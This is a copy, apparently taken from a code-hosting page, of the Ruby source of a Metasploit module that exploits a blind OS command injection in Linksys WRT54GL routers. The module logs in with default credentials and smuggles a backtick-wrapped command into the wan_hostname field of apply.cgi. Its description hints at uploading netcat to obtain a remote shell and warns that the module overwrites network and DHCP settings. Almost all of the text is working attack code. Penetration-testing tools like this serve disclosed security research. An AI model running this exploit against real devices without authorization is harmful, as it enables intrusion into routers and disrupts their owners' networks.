Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linksys WRT54GL Remote Command Execution',13'Description' => %q{14Some Linksys Routers are vulnerable to OS Command injection.15You will need credentials to the web interface to access the vulnerable part16of the application.17Default credentials are always a good starting point. admin/admin or admin18and blank password could be a first try.19Note: This is a blind OS command injection vulnerability. This means that20you will not see any output of your command. Try a ping command to your21local system and observe the packets with tcpdump (or equivalent) for a first test.2223Hint: To get a remote shell you could upload a netcat binary and exec it.24WARNING: this module will overwrite network and DHCP configuration.25},26'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],27'License' => MSF_LICENSE,28'References' => [29[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],30[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],31[ 'EDB', '24202' ],32[ 'BID', '57459' ],33[ 'OSVDB', '89421' ]34],35'DisclosureDate' => '2013-01-18'36)37)3839register_options(40[41Opt::RPORT(80),42OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),43OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),44OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),45OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),46OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),47OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),48OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),49OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),50OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])51]52)53end5455# If the user configured LANIP, use it. Otherwise, use RHOST.56# NB: This presumes a dotted quad ip address.57def lan_ip58if datastore['LANIP'].to_s.empty?59datastore['RHOST']60else61datastore['LANIP']62end63end6465def run66# setting up some basic variables67uri = datastore['TARGETURI']68user = datastore['HttpUsername']69rhost = datastore['RHOST']70netmask = datastore['NETMASK']71routername = datastore['ROUTER_NAME']72wandomain = datastore['WAN_DOMAIN']73wanmtu = datastore['WAN_MTU']7475ip = lan_ip.split('.')7677if datastore['HttpPassword'].nil?78pass = ''79else80pass = datastore['HttpPassword']81end8283print_status("Trying to login with #{user} / #{pass}")8485begin86res = send_request_cgi({87'uri' => uri,88'method' => 'GET',89'authorization' => basic_auth(user, pass)90})9192unless (res.is_a? Rex::Proto::Http::Response)93vprint_error("#{rhost} not responding")94return :abort95end9697if (res.code == 404)98print_error('Not Found page returned')99return :abort100end101102if [200, 301, 302].include?(res.code)103print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")104else105print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")106return :abort107end108rescue ::Rex::ConnectionError109vprint_error("#{rhost} - Failed to connect to the web server")110return :abort111end112113cmd = datastore['CMD']114115print_status('Sending remote command: ' + cmd)116117# cmd = Rex::Text.uri_encode(datastore['CMD'])118# original Post Request:119# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"120# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"121# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"122# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"123# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"124# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"125# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"126# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"127128vprint_status("using the following target URL: #{uri}")129130begin131res = send_request_cgi({132'uri' => uri,133'method' => 'POST',134'authorization' => basic_auth(user, pass),135# 'data' => data_cmd,136137'vars_post' => {138'submit_button' => 'index',139'change_action' => '1',140'submit_type' => '1',141'action' => 'Apply',142'now_proto' => 'dhcp',143'daylight_time' => '1',144'lan_ipaddr' => '4',145'wait_time' => '0',146'need_reboot' => '0',147'ui_language' => 'de',148'wan_proto' => 'dhcp',149'router_name' => routername.to_s,150'wan_hostname' => "`#{cmd}`",151'wan_domain' => wandomain.to_s,152'mtu_enable' => '1',153'wan_mtu' => wanmtu.to_s,154'lan_ipaddr_0' => (ip[0]).to_s,155'lan_ipaddr_1' => (ip[1]).to_s,156'lan_ipaddr_2' => (ip[2]).to_s,157'lan_ipaddr_3' => (ip[3]).to_s,158'lan_netmask' => netmask.to_s,159'lan_proto' => 'dhcp',160'dhcp_check' => '1',161'dhcp_start' => '100',162'dhcp_num' => '50',163'dhcp_lease' => '0',164'wan_dns' => '4',165'wan_dns0_0' => '0',166'wan_dns0_1' => '0',167'wan_dns0_2' => '0',168'wan_dns0_3' => '0',169'wan_dns1_0' => '0',170'wan_dns1_1' => '0',171'wan_dns1_2' => '0',172'wan_dns1_3' => '0',173'wan_dns2_0' => '0',174'wan_dns2_1' => '0',175'wan_dns2_2' => '0',176'wan_dns2_3' => '0',177'wan_wins' => '4',178'wan_wins_0' => '0',179'wan_wins_1' => '0',180'wan_wins_2' => '0',181'wan_wins_3' => '0',182'time_zone' => '-08+1+1',183'_daylight_time' => '1'184}185})186rescue ::Rex::ConnectionError187vprint_error("#{rhost} - Failed to connect to the web server")188return :abort189end190191if res && (res.code == 200)192print_status('Blind Exploitation - Response expected')193else194print_error("Blind Exploitation - Response don't expected")195end196print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')197print_status('Blind Exploitation - unknown Exploitation state')198end199end200201202